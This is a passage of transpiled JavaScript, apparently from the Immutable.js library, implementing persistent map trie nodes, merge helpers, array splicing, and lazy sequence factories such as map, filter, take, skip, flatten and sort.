map;\n\t\t }\n\t\t newSize = 1;\n\t\t newRoot = new ArrayMapNode(map.__ownerID, [[k, v]]);\n\t\t } else {\n\t\t var didChangeSize = MakeRef(CHANGE_LENGTH);\n\t\t var didAlter = MakeRef(DID_ALTER);\n\t\t newRoot = updateNode(map._root, map.__ownerID, 0, undefined, k, v, didChangeSize, didAlter);\n\t\t if (!didAlter.value) {\n\t\t return map;\n\t\t }\n\t\t newSize = map.size + (didChangeSize.value ? v === NOT_SET ? -1 : 1 : 0);\n\t\t }\n\t\t if (map.__ownerID) {\n\t\t map.size = newSize;\n\t\t map._root = newRoot;\n\t\t map.__hash = undefined;\n\t\t map.__altered = true;\n\t\t return map;\n\t\t }\n\t\t return newRoot ? makeMap(newSize, newRoot) : emptyMap();\n\t\t}\n\t\tfunction updateNode(node, ownerID, shift, keyHash, key, value, didChangeSize, didAlter) {\n\t\t if (!node) {\n\t\t if (value === NOT_SET) {\n\t\t return node;\n\t\t }\n\t\t SetRef(didAlter);\n\t\t SetRef(didChangeSize);\n\t\t return new ValueNode(ownerID, keyHash, [key, value]);\n\t\t }\n\t\t return node.update(ownerID, shift, keyHash, key, value, didChangeSize, didAlter);\n\t\t}\n\t\tfunction isLeafNode(node) {\n\t\t return node.constructor === ValueNode || node.constructor === HashCollisionNode;\n\t\t}\n\t\tfunction mergeIntoNode(node, ownerID, shift, keyHash, entry) {\n\t\t if (node.keyHash === keyHash) {\n\t\t return new HashCollisionNode(ownerID, keyHash, [node.entry, entry]);\n\t\t }\n\t\t var idx1 = (shift === 0 ? node.keyHash : node.keyHash >>> shift) & MASK;\n\t\t var idx2 = (shift === 0 ? keyHash : keyHash >>> shift) & MASK;\n\t\t var newNode;\n\t\t var nodes = idx1 === idx2 ? [mergeIntoNode(node, ownerID, shift + SHIFT, keyHash, entry)] : ((newNode = new ValueNode(ownerID, keyHash, entry)), idx1 < idx2 ? [node, newNode] : [newNode, node]);\n\t\t return new BitmapIndexedNode(ownerID, (1 << idx1) | (1 << idx2), nodes);\n\t\t}\n\t\tfunction createNodes(ownerID, entries, key, value) {\n\t\t if (!ownerID) {\n\t\t ownerID = new OwnerID();\n\t\t }\n\t\t var node = new ValueNode(ownerID, hash(key), [key, value]);\n\t\t for (var ii = 0; ii < entries.length; ii++) {\n\t\t var entry = entries[ii];\n\t\t node = node.update(ownerID, 0, undefined, entry[0], entry[1]);\n\t\t }\n\t\t return node;\n\t\t}\n\t\tfunction packNodes(ownerID, nodes, count, excluding) {\n\t\t var bitmap = 0;\n\t\t var packedII = 0;\n\t\t var packedNodes = new Array(count);\n\t\t for (var ii = 0,\n\t\t bit = 1,\n\t\t len = nodes.length; ii < len; ii++, bit <<= 1) {\n\t\t var node = nodes[ii];\n\t\t if (node !== undefined && ii !== excluding) {\n\t\t bitmap |= bit;\n\t\t packedNodes[packedII++] = node;\n\t\t }\n\t\t }\n\t\t return new BitmapIndexedNode(ownerID, bitmap, packedNodes);\n\t\t}\n\t\tfunction expandNodes(ownerID, nodes, bitmap, including, node) {\n\t\t var count = 0;\n\t\t var expandedNodes = new Array(SIZE);\n\t\t for (var ii = 0; bitmap !== 0; ii++, bitmap >>>= 1) {\n\t\t expandedNodes[ii] = bitmap & 1 ? nodes[count++] : undefined;\n\t\t }\n\t\t expandedNodes[including] = node;\n\t\t return new HashArrayMapNode(ownerID, count + 1, expandedNodes);\n\t\t}\n\t\tfunction mergeIntoMapWith(map, merger, iterables) {\n\t\t var iters = [];\n\t\t for (var ii = 0; ii < iterables.length; ii++) {\n\t\t var value = iterables[ii];\n\t\t var iter = KeyedIterable(value);\n\t\t if (!isIterable(value)) {\n\t\t iter = iter.map((function(v) {\n\t\t return fromJS(v);\n\t\t }));\n\t\t }\n\t\t iters.push(iter);\n\t\t }\n\t\t return mergeIntoCollectionWith(map, merger, iters);\n\t\t}\n\t\tfunction deepMerger(merger) {\n\t\t return (function(existing, value) {\n\t\t return existing && existing.mergeDeepWith && isIterable(value) ? existing.mergeDeepWith(merger, value) : merger ? merger(existing, value) : value;\n\t\t });\n\t\t}\n\t\tfunction mergeIntoCollectionWith(collection, merger, iters) {\n\t\t iters = iters.filter((function(x) {\n\t\t return x.size !== 0;\n\t\t }));\n\t\t if (iters.length === 0) {\n\t\t return collection;\n\t\t }\n\t\t if (collection.size === 0 && iters.length === 1) {\n\t\t return collection.constructor(iters[0]);\n\t\t }\n\t\t return collection.withMutations((function(collection) {\n\t\t var mergeIntoMap = merger ? (function(value, key) {\n\t\t collection.update(key, NOT_SET, (function(existing) {\n\t\t return existing === NOT_SET ? value : merger(existing, value);\n\t\t }));\n\t\t }) : (function(value, key) {\n\t\t collection.set(key, value);\n\t\t });\n\t\t for (var ii = 0; ii < iters.length; ii++) {\n\t\t iters[ii].forEach(mergeIntoMap);\n\t\t }\n\t\t }));\n\t\t}\n\t\tfunction updateInDeepMap(existing, keyPathIter, notSetValue, updater) {\n\t\t var isNotSet = existing === NOT_SET;\n\t\t var step = keyPathIter.next();\n\t\t if (step.done) {\n\t\t var existingValue = isNotSet ? notSetValue : existing;\n\t\t var newValue = updater(existingValue);\n\t\t return newValue === existingValue ? existing : newValue;\n\t\t }\n\t\t invariant(isNotSet || (existing && existing.set), 'invalid keyPath');\n\t\t var key = step.value;\n\t\t var nextExisting = isNotSet ? NOT_SET : existing.get(key, NOT_SET);\n\t\t var nextUpdated = updateInDeepMap(nextExisting, keyPathIter, notSetValue, updater);\n\t\t return nextUpdated === nextExisting ? existing : nextUpdated === NOT_SET ? existing.remove(key) : (isNotSet ? emptyMap() : existing).set(key, nextUpdated);\n\t\t}\n\t\tfunction popCount(x) {\n\t\t x = x - ((x >> 1) & 0x55555555);\n\t\t x = (x & 0x33333333) + ((x >> 2) & 0x33333333);\n\t\t x = (x + (x >> 4)) & 0x0f0f0f0f;\n\t\t x = x + (x >> 8);\n\t\t x = x + (x >> 16);\n\t\t return x & 0x7f;\n\t\t}\n\t\tfunction setIn(array, idx, val, canEdit) {\n\t\t var newArray = canEdit ? array : arrCopy(array);\n\t\t newArray[idx] = val;\n\t\t return newArray;\n\t\t}\n\t\tfunction spliceIn(array, idx, val, canEdit) {\n\t\t var newLen = array.length + 1;\n\t\t if (canEdit && idx + 1 === newLen) {\n\t\t array[idx] = val;\n\t\t return array;\n\t\t }\n\t\t var newArray = new Array(newLen);\n\t\t var after = 0;\n\t\t for (var ii = 0; ii < newLen; ii++) {\n\t\t if (ii === idx) {\n\t\t newArray[ii] = val;\n\t\t after = -1;\n\t\t } else {\n\t\t newArray[ii] = array[ii + after];\n\t\t }\n\t\t }\n\t\t return newArray;\n\t\t}\n\t\tfunction spliceOut(array, idx, canEdit) {\n\t\t var newLen = array.length - 1;\n\t\t if (canEdit && idx === newLen) {\n\t\t array.pop();\n\t\t return array;\n\t\t }\n\t\t var newArray = new Array(newLen);\n\t\t var after = 0;\n\t\t for (var ii = 0; ii < newLen; ii++) {\n\t\t if (ii === idx) {\n\t\t after = 1;\n\t\t }\n\t\t newArray[ii] = array[ii + after];\n\t\t }\n\t\t return newArray;\n\t\t}\n\t\tvar MAX_ARRAY_MAP_SIZE = SIZE / 4;\n\t\tvar MAX_BITMAP_INDEXED_SIZE = SIZE / 2;\n\t\tvar MIN_HASH_ARRAY_MAP_SIZE = SIZE / 4;\n\t\tvar ToKeyedSequence = function ToKeyedSequence(indexed, useKeys) {\n\t\t this._iter = indexed;\n\t\t this._useKeys = useKeys;\n\t\t this.size = indexed.size;\n\t\t};\n\t\t($traceurRuntime.createClass)(ToKeyedSequence, {\n\t\t get: function(key, notSetValue) {\n\t\t return this._iter.get(key, notSetValue);\n\t\t },\n\t\t has: function(key) {\n\t\t return this._iter.has(key);\n\t\t },\n\t\t valueSeq: function() {\n\t\t return this._iter.valueSeq();\n\t\t },\n\t\t reverse: function() {\n\t\t var $__0 = this;\n\t\t var reversedSequence = reverseFactory(this, true);\n\t\t if (!this._useKeys) {\n\t\t reversedSequence.valueSeq = (function() {\n\t\t return $__0._iter.toSeq().reverse();\n\t\t });\n\t\t }\n\t\t return reversedSequence;\n\t\t },\n\t\t map: function(mapper, context) {\n\t\t var $__0 = this;\n\t\t var mappedSequence = mapFactory(this, mapper, context);\n\t\t if (!this._useKeys) {\n\t\t mappedSequence.valueSeq = (function() {\n\t\t return $__0._iter.toSeq().map(mapper, context);\n\t\t });\n\t\t }\n\t\t return mappedSequence;\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t var ii;\n\t\t return this._iter.__iterate(this._useKeys ? (function(v, k) {\n\t\t return fn(v, k, $__0);\n\t\t }) : ((ii = reverse ? resolveSize(this) : 0), (function(v) {\n\t\t return fn(v, reverse ? --ii : ii++, $__0);\n\t\t })), reverse);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t if (this._useKeys) {\n\t\t return this._iter.__iterator(type, reverse);\n\t\t }\n\t\t var iterator = this._iter.__iterator(ITERATE_VALUES, reverse);\n\t\t var ii = reverse ? resolveSize(this) : 0;\n\t\t return new Iterator((function() {\n\t\t var step = iterator.next();\n\t\t return step.done ? step : iteratorValue(type, reverse ? --ii : ii++, step.value, step);\n\t\t }));\n\t\t }\n\t\t}, {}, KeyedSeq);\n\t\tToKeyedSequence.prototype[IS_ORDERED_SENTINEL] = true;\n\t\tvar ToIndexedSequence = function ToIndexedSequence(iter) {\n\t\t this._iter = iter;\n\t\t this.size = iter.size;\n\t\t};\n\t\t($traceurRuntime.createClass)(ToIndexedSequence, {\n\t\t contains: function(value) {\n\t\t return this._iter.contains(value);\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t var iterations = 0;\n\t\t return this._iter.__iterate((function(v) {\n\t\t return fn(v, iterations++, $__0);\n\t\t }), reverse);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var iterator = this._iter.__iterator(ITERATE_VALUES, reverse);\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t var step = iterator.next();\n\t\t return step.done ? step : iteratorValue(type, iterations++, step.value, step);\n\t\t }));\n\t\t }\n\t\t}, {}, IndexedSeq);\n\t\tvar ToSetSequence = function ToSetSequence(iter) {\n\t\t this._iter = iter;\n\t\t this.size = iter.size;\n\t\t};\n\t\t($traceurRuntime.createClass)(ToSetSequence, {\n\t\t has: function(key) {\n\t\t return this._iter.contains(key);\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return this._iter.__iterate((function(v) {\n\t\t return fn(v, v, $__0);\n\t\t }), reverse);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var iterator = this._iter.__iterator(ITERATE_VALUES, reverse);\n\t\t return new Iterator((function() {\n\t\t var step = iterator.next();\n\t\t return step.done ? step : iteratorValue(type, step.value, step.value, step);\n\t\t }));\n\t\t }\n\t\t}, {}, SetSeq);\n\t\tvar FromEntriesSequence = function FromEntriesSequence(entries) {\n\t\t this._iter = entries;\n\t\t this.size = entries.size;\n\t\t};\n\t\t($traceurRuntime.createClass)(FromEntriesSequence, {\n\t\t entrySeq: function() {\n\t\t return this._iter.toSeq();\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return this._iter.__iterate((function(entry) {\n\t\t if (entry) {\n\t\t validateEntry(entry);\n\t\t return fn(entry[1], entry[0], $__0);\n\t\t }\n\t\t }), reverse);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var iterator = this._iter.__iterator(ITERATE_VALUES, reverse);\n\t\t return new Iterator((function() {\n\t\t while (true) {\n\t\t var step = iterator.next();\n\t\t if (step.done) {\n\t\t return step;\n\t\t }\n\t\t var entry = step.value;\n\t\t if (entry) {\n\t\t validateEntry(entry);\n\t\t return type === ITERATE_ENTRIES ? step : iteratorValue(type, entry[0], entry[1], step);\n\t\t }\n\t\t }\n\t\t }));\n\t\t }\n\t\t}, {}, KeyedSeq);\n\t\tToIndexedSequence.prototype.cacheResult = ToKeyedSequence.prototype.cacheResult = ToSetSequence.prototype.cacheResult = FromEntriesSequence.prototype.cacheResult = cacheResultThrough;\n\t\tfunction flipFactory(iterable) {\n\t\t var flipSequence = makeSequence(iterable);\n\t\t flipSequence._iter = iterable;\n\t\t flipSequence.size = iterable.size;\n\t\t flipSequence.flip = (function() {\n\t\t return iterable;\n\t\t });\n\t\t flipSequence.reverse = function() {\n\t\t var reversedSequence = iterable.reverse.apply(this);\n\t\t reversedSequence.flip = (function() {\n\t\t return iterable.reverse();\n\t\t });\n\t\t return reversedSequence;\n\t\t };\n\t\t flipSequence.has = (function(key) {\n\t\t return iterable.contains(key);\n\t\t });\n\t\t flipSequence.contains = (function(key) {\n\t\t return iterable.has(key);\n\t\t });\n\t\t flipSequence.cacheResult = cacheResultThrough;\n\t\t flipSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return iterable.__iterate((function(v, k) {\n\t\t return fn(k, v, $__0) !== false;\n\t\t }), reverse);\n\t\t };\n\t\t flipSequence.__iteratorUncached = function(type, reverse) {\n\t\t if (type === ITERATE_ENTRIES) {\n\t\t var iterator = iterable.__iterator(type, reverse);\n\t\t return new Iterator((function() {\n\t\t var step = iterator.next();\n\t\t if (!step.done) {\n\t\t var k = step.value[0];\n\t\t step.value[0] = step.value[1];\n\t\t step.value[1] = k;\n\t\t }\n\t\t return step;\n\t\t }));\n\t\t }\n\t\t return iterable.__iterator(type === ITERATE_VALUES ? ITERATE_KEYS : ITERATE_VALUES, reverse);\n\t\t };\n\t\t return flipSequence;\n\t\t}\n\t\tfunction mapFactory(iterable, mapper, context) {\n\t\t var mappedSequence = makeSequence(iterable);\n\t\t mappedSequence.size = iterable.size;\n\t\t mappedSequence.has = (function(key) {\n\t\t return iterable.has(key);\n\t\t });\n\t\t mappedSequence.get = (function(key, notSetValue) {\n\t\t var v = iterable.get(key, NOT_SET);\n\t\t return v === NOT_SET ? notSetValue : mapper.call(context, v, key, iterable);\n\t\t });\n\t\t mappedSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return iterable.__iterate((function(v, k, c) {\n\t\t return fn(mapper.call(context, v, k, c), k, $__0) !== false;\n\t\t }), reverse);\n\t\t };\n\t\t mappedSequence.__iteratorUncached = function(type, reverse) {\n\t\t var iterator = iterable.__iterator(ITERATE_ENTRIES, reverse);\n\t\t return new Iterator((function() {\n\t\t var step = iterator.next();\n\t\t if (step.done) {\n\t\t return step;\n\t\t }\n\t\t var entry = step.value;\n\t\t var key = entry[0];\n\t\t return iteratorValue(type, key, mapper.call(context, entry[1], key, iterable), step);\n\t\t }));\n\t\t };\n\t\t return mappedSequence;\n\t\t}\n\t\tfunction reverseFactory(iterable, useKeys) {\n\t\t var reversedSequence = makeSequence(iterable);\n\t\t reversedSequence._iter = iterable;\n\t\t reversedSequence.size = iterable.size;\n\t\t reversedSequence.reverse = (function() {\n\t\t return iterable;\n\t\t });\n\t\t if (iterable.flip) {\n\t\t reversedSequence.flip = function() {\n\t\t var flipSequence = flipFactory(iterable);\n\t\t flipSequence.reverse = (function() {\n\t\t return iterable.flip();\n\t\t });\n\t\t return flipSequence;\n\t\t };\n\t\t }\n\t\t reversedSequence.get = (function(key, notSetValue) {\n\t\t return iterable.get(useKeys ? key : -1 - key, notSetValue);\n\t\t });\n\t\t reversedSequence.has = (function(key) {\n\t\t return iterable.has(useKeys ? key : -1 - key);\n\t\t });\n\t\t reversedSequence.contains = (function(value) {\n\t\t return iterable.contains(value);\n\t\t });\n\t\t reversedSequence.cacheResult = cacheResultThrough;\n\t\t reversedSequence.__iterate = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return iterable.__iterate((function(v, k) {\n\t\t return fn(v, k, $__0);\n\t\t }), !reverse);\n\t\t };\n\t\t reversedSequence.__iterator = (function(type, reverse) {\n\t\t return iterable.__iterator(type, !reverse);\n\t\t });\n\t\t return reversedSequence;\n\t\t}\n\t\tfunction filterFactory(iterable, predicate, context, useKeys) {\n\t\t var filterSequence = makeSequence(iterable);\n\t\t if (useKeys) {\n\t\t filterSequence.has = (function(key) {\n\t\t var v = iterable.get(key, NOT_SET);\n\t\t return v !== NOT_SET && !!predicate.call(context, v, key, iterable);\n\t\t });\n\t\t filterSequence.get = (function(key, notSetValue) {\n\t\t var v = iterable.get(key, NOT_SET);\n\t\t return v !== NOT_SET && predicate.call(context, v, key, iterable) ? v : notSetValue;\n\t\t });\n\t\t }\n\t\t filterSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t var iterations = 0;\n\t\t iterable.__iterate((function(v, k, c) {\n\t\t if (predicate.call(context, v, k, c)) {\n\t\t iterations++;\n\t\t return fn(v, useKeys ? k : iterations - 1, $__0);\n\t\t }\n\t\t }), reverse);\n\t\t return iterations;\n\t\t };\n\t\t filterSequence.__iteratorUncached = function(type, reverse) {\n\t\t var iterator = iterable.__iterator(ITERATE_ENTRIES, reverse);\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t while (true) {\n\t\t var step = iterator.next();\n\t\t if (step.done) {\n\t\t return step;\n\t\t }\n\t\t var entry = step.value;\n\t\t var key = entry[0];\n\t\t var value = entry[1];\n\t\t if (predicate.call(context, value, key, iterable)) {\n\t\t return iteratorValue(type, useKeys ? key : iterations++, value, step);\n\t\t }\n\t\t }\n\t\t }));\n\t\t };\n\t\t return filterSequence;\n\t\t}\n\t\tfunction countByFactory(iterable, grouper, context) {\n\t\t var groups = Map().asMutable();\n\t\t iterable.__iterate((function(v, k) {\n\t\t groups.update(grouper.call(context, v, k, iterable), 0, (function(a) {\n\t\t return a + 1;\n\t\t }));\n\t\t }));\n\t\t return groups.asImmutable();\n\t\t}\n\t\tfunction groupByFactory(iterable, grouper, context) {\n\t\t var isKeyedIter = isKeyed(iterable);\n\t\t var groups = Map().asMutable();\n\t\t iterable.__iterate((function(v, k) {\n\t\t groups.update(grouper.call(context, v, k, iterable), (function(a) {\n\t\t return (a = a || [], a.push(isKeyedIter ? [k, v] : v), a);\n\t\t }));\n\t\t }));\n\t\t var coerce = iterableClass(iterable);\n\t\t return groups.map((function(arr) {\n\t\t return reify(iterable, coerce(arr));\n\t\t }));\n\t\t}\n\t\tfunction takeFactory(iterable, amount) {\n\t\t if (amount > iterable.size) {\n\t\t return iterable;\n\t\t }\n\t\t if (amount < 0) {\n\t\t amount = 0;\n\t\t }\n\t\t var takeSequence = makeSequence(iterable);\n\t\t takeSequence.size = iterable.size && Math.min(iterable.size, amount);\n\t\t takeSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t if (amount === 0) {\n\t\t return 0;\n\t\t }\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterate(fn, reverse);\n\t\t }\n\t\t var iterations = 0;\n\t\t iterable.__iterate((function(v, k) {\n\t\t return ++iterations && fn(v, k, $__0) !== false && iterations < amount;\n\t\t }));\n\t\t return iterations;\n\t\t };\n\t\t takeSequence.__iteratorUncached = function(type, reverse) {\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterator = amount && iterable.__iterator(type, reverse);\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t if (iterations++ > amount) {\n\t\t return iteratorDone();\n\t\t }\n\t\t return iterator.next();\n\t\t }));\n\t\t };\n\t\t return takeSequence;\n\t\t}\n\t\tfunction takeWhileFactory(iterable, predicate, context) {\n\t\t var takeSequence = makeSequence(iterable);\n\t\t takeSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterate(fn, reverse);\n\t\t }\n\t\t var iterations = 0;\n\t\t iterable.__iterate((function(v, k, c) {\n\t\t return predicate.call(context, v, k, c) && ++iterations && fn(v, k, $__0);\n\t\t }));\n\t\t return iterations;\n\t\t };\n\t\t takeSequence.__iteratorUncached = function(type, reverse) {\n\t\t var $__0 = this;\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterator = iterable.__iterator(ITERATE_ENTRIES, reverse);\n\t\t var iterating = true;\n\t\t return new Iterator((function() {\n\t\t if (!iterating) {\n\t\t return iteratorDone();\n\t\t }\n\t\t var step = iterator.next();\n\t\t if (step.done) {\n\t\t return step;\n\t\t }\n\t\t var entry = step.value;\n\t\t var k = entry[0];\n\t\t var v = entry[1];\n\t\t if (!predicate.call(context, v, k, $__0)) {\n\t\t iterating = false;\n\t\t return iteratorDone();\n\t\t }\n\t\t return type === ITERATE_ENTRIES ? step : iteratorValue(type, k, v, step);\n\t\t }));\n\t\t };\n\t\t return takeSequence;\n\t\t}\n\t\tfunction skipFactory(iterable, amount, useKeys) {\n\t\t if (amount <= 0) {\n\t\t return iterable;\n\t\t }\n\t\t var skipSequence = makeSequence(iterable);\n\t\t skipSequence.size = iterable.size && Math.max(0, iterable.size - amount);\n\t\t skipSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterate(fn, reverse);\n\t\t }\n\t\t var skipped = 0;\n\t\t var isSkipping = true;\n\t\t var iterations = 0;\n\t\t iterable.__iterate((function(v, k) {\n\t\t if (!(isSkipping && (isSkipping = skipped++ < amount))) {\n\t\t iterations++;\n\t\t return fn(v, useKeys ? k : iterations - 1, $__0);\n\t\t }\n\t\t }));\n\t\t return iterations;\n\t\t };\n\t\t skipSequence.__iteratorUncached = function(type, reverse) {\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterator = amount && iterable.__iterator(type, reverse);\n\t\t var skipped = 0;\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t while (skipped < amount) {\n\t\t skipped++;\n\t\t iterator.next();\n\t\t }\n\t\t var step = iterator.next();\n\t\t if (useKeys || type === ITERATE_VALUES) {\n\t\t return step;\n\t\t } else if (type === ITERATE_KEYS) {\n\t\t return iteratorValue(type, iterations++, undefined, step);\n\t\t } else {\n\t\t return iteratorValue(type, iterations++, step.value[1], step);\n\t\t }\n\t\t }));\n\t\t };\n\t\t return skipSequence;\n\t\t}\n\t\tfunction skipWhileFactory(iterable, predicate, context, useKeys) {\n\t\t var skipSequence = makeSequence(iterable);\n\t\t skipSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterate(fn, reverse);\n\t\t }\n\t\t var isSkipping = true;\n\t\t var iterations = 0;\n\t\t iterable.__iterate((function(v, k, c) {\n\t\t if (!(isSkipping && (isSkipping = predicate.call(context, v, k, c)))) {\n\t\t iterations++;\n\t\t return fn(v, useKeys ? k : iterations - 1, $__0);\n\t\t }\n\t\t }));\n\t\t return iterations;\n\t\t };\n\t\t skipSequence.__iteratorUncached = function(type, reverse) {\n\t\t var $__0 = this;\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterator = iterable.__iterator(ITERATE_ENTRIES, reverse);\n\t\t var skipping = true;\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t var step,\n\t\t k,\n\t\t v;\n\t\t do {\n\t\t step = iterator.next();\n\t\t if (step.done) {\n\t\t if (useKeys || type === ITERATE_VALUES) {\n\t\t return step;\n\t\t } else if (type === ITERATE_KEYS) {\n\t\t return iteratorValue(type, iterations++, undefined, step);\n\t\t } else {\n\t\t return iteratorValue(type, iterations++, step.value[1], step);\n\t\t }\n\t\t }\n\t\t var entry = step.value;\n\t\t k = entry[0];\n\t\t v = entry[1];\n\t\t skipping && (skipping = predicate.call(context, v, k, $__0));\n\t\t } while (skipping);\n\t\t return type === ITERATE_ENTRIES ? step : iteratorValue(type, k, v, step);\n\t\t }));\n\t\t };\n\t\t return skipSequence;\n\t\t}\n\t\tfunction concatFactory(iterable, values) {\n\t\t var isKeyedIterable = isKeyed(iterable);\n\t\t var iters = [iterable].concat(values).map((function(v) {\n\t\t if (!isIterable(v)) {\n\t\t v = isKeyedIterable ? keyedSeqFromValue(v) : indexedSeqFromValue(Array.isArray(v) ? v : [v]);\n\t\t } else if (isKeyedIterable) {\n\t\t v = KeyedIterable(v);\n\t\t }\n\t\t return v;\n\t\t })).filter((function(v) {\n\t\t return v.size !== 0;\n\t\t }));\n\t\t if (iters.length === 0) {\n\t\t return iterable;\n\t\t }\n\t\t if (iters.length === 1) {\n\t\t var singleton = iters[0];\n\t\t if (singleton === iterable || isKeyedIterable && isKeyed(singleton) || isIndexed(iterable) && isIndexed(singleton)) {\n\t\t return singleton;\n\t\t }\n\t\t }\n\t\t var concatSeq = new ArraySeq(iters);\n\t\t if (isKeyedIterable) {\n\t\t concatSeq = concatSeq.toKeyedSeq();\n\t\t } else if (!isIndexed(iterable)) {\n\t\t concatSeq = concatSeq.toSetSeq();\n\t\t }\n\t\t concatSeq = concatSeq.flatten(true);\n\t\t concatSeq.size = iters.reduce((function(sum, seq) {\n\t\t if (sum !== undefined) {\n\t\t var size = seq.size;\n\t\t if (size !== undefined) {\n\t\t return sum + size;\n\t\t }\n\t\t }\n\t\t }), 0);\n\t\t return concatSeq;\n\t\t}\n\t\tfunction flattenFactory(iterable, depth, useKeys) {\n\t\t var flatSequence = makeSequence(iterable);\n\t\t flatSequence.__iterateUncached = function(fn, reverse) {\n\t\t var iterations = 0;\n\t\t var stopped = false;\n\t\t function flatDeep(iter, currentDepth) {\n\t\t var $__0 = this;\n\t\t iter.__iterate((function(v, k) {\n\t\t if ((!depth || currentDepth < depth) && isIterable(v)) {\n\t\t flatDeep(v, currentDepth + 1);\n\t\t } else if (fn(v, useKeys ? k : iterations++, $__0) === false) {\n\t\t stopped = true;\n\t\t }\n\t\t return !stopped;\n\t\t }), reverse);\n\t\t }\n\t\t flatDeep(iterable, 0);\n\t\t return iterations;\n\t\t };\n\t\t flatSequence.__iteratorUncached = function(type, reverse) {\n\t\t var iterator = iterable.__iterator(type, reverse);\n\t\t var stack = [];\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t while (iterator) {\n\t\t var step = iterator.next();\n\t\t if (step.done !== false) {\n\t\t iterator = stack.pop();\n\t\t continue;\n\t\t }\n\t\t var v = step.value;\n\t\t if (type === ITERATE_ENTRIES) {\n\t\t v = v[1];\n\t\t }\n\t\t if ((!depth || stack.length < depth) && isIterable(v)) {\n\t\t stack.push(iterator);\n\t\t iterator = v.__iterator(type, reverse);\n\t\t } else {\n\t\t return useKeys ? step : iteratorValue(type, iterations++, v, step);\n\t\t }\n\t\t }\n\t\t return iteratorDone();\n\t\t }));\n\t\t };\n\t\t return flatSequence;\n\t\t}\n\t\tfunction flatMapFactory(iterable, mapper, context) {\n\t\t var coerce = iterableClass(iterable);\n\t\t return iterable.toSeq().map((function(v, k) {\n\t\t return coerce(mapper.call(context, v, k, iterable));\n\t\t })).flatten(true);\n\t\t}\n\t\tfunction interposeFactory(iterable, separator) {\n\t\t var interposedSequence = makeSequence(iterable);\n\t\t interposedSequence.size = iterable.size && iterable.size * 2 - 1;\n\t\t interposedSequence.__iterateUncached = function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t var iterations = 0;\n\t\t iterable.__iterate((function(v, k) {\n\t\t return (!iterations || fn(separator, iterations++, $__0) !== false) && fn(v, iterations++, $__0) !== false;\n\t\t }), reverse);\n\t\t return iterations;\n\t\t };\n\t\t interposedSequence.__iteratorUncached = function(type, reverse) {\n\t\t var iterator = iterable.__iterator(ITERATE_VALUES, reverse);\n\t\t var iterations = 0;\n\t\t var step;\n\t\t return new Iterator((function() {\n\t\t if (!step || iterations % 2) {\n\t\t step = iterator.next();\n\t\t if (step.done) {\n\t\t return step;\n\t\t }\n\t\t }\n\t\t return iterations % 2 ? iteratorValue(type, iterations++, separator) : iteratorValue(type, iterations++, step.value, step);\n\t\t }));\n\t\t };\n\t\t return interposedSequence;\n\t\t}\n\t\tfunction sortFactory(iterable, comparator, mapper) {\n\t\t if (!comparator) {\n\t\t comparator = defaultComparator;\n\t\t }\n\t\t var isKeyedIterable = isKeyed(iterable);\n\t\t var index = 0;\n\t\t var entries = iterable.toSeq().map((function(v, k) {\n\t\t return [k, v, index++, mapper ? mapper(v, k, iterable) : v];\n\t\t })).toArray();\n\t\t entries.sort((function(a, b) {\n\t\t return comparator(a[3], b[3]) || a[2] - b[2];\n\t\t })).forEach(isKeyedIterable ? (function(v, i) {\n\t\t entries[i].length = 2;\n\t\t }) : (function(v, i) {\n\t\t entries[i] = v[1];\n\t\t }));\n\t\t return isKeyedIterable ? KeyedSeq(entries) : isIndexed(iterable) ? IndexedSeq(entries) : SetSeq(entries);\n\t\t}\n\t\tfunction maxFactory(iterable, comparator, mapper) {\n\t\t if (!comparator) {\n\t\t comparator = defaultComparator;\n\t\t }\n\t\t if (mapper) {\n\t\t var entry = iterable.toSeq().map((function(v, k) {\n\t\t return [v, mapper(v, k, iterable)];\n\t\t })).reduce((function(a, b) {\n\t\t return _maxCompare(comparator, a[1], b[1]) ? b : a;\n\t\t }));\n\t\t return entry && entry[0];\n\t\t } else {\n\t\t return iterable.reduce((function(a, b) {\n\t\t return _maxCompare(comparator, a, b) ? b : a;\n\t\t }));\n\t\t }\n\t\t}\n\t\tfunction _maxCompare(comparator, a, b) {\n\t\t var comp = comparator(b, a);\n\t\t return (comp === 0 && b !== a && (b === undefined || b === null || b !== b)) || comp > 0;\n\t\t}\n\t\tfunction reify(iter, seq) {\n\t\t return isSeq(iter) ? seq : iter.constructor(seq);\n\t\t}\n\t\tfunction validateEntry(entry) {\n\t\t if (entry !== Object(entry)) {\n\t\t throw new 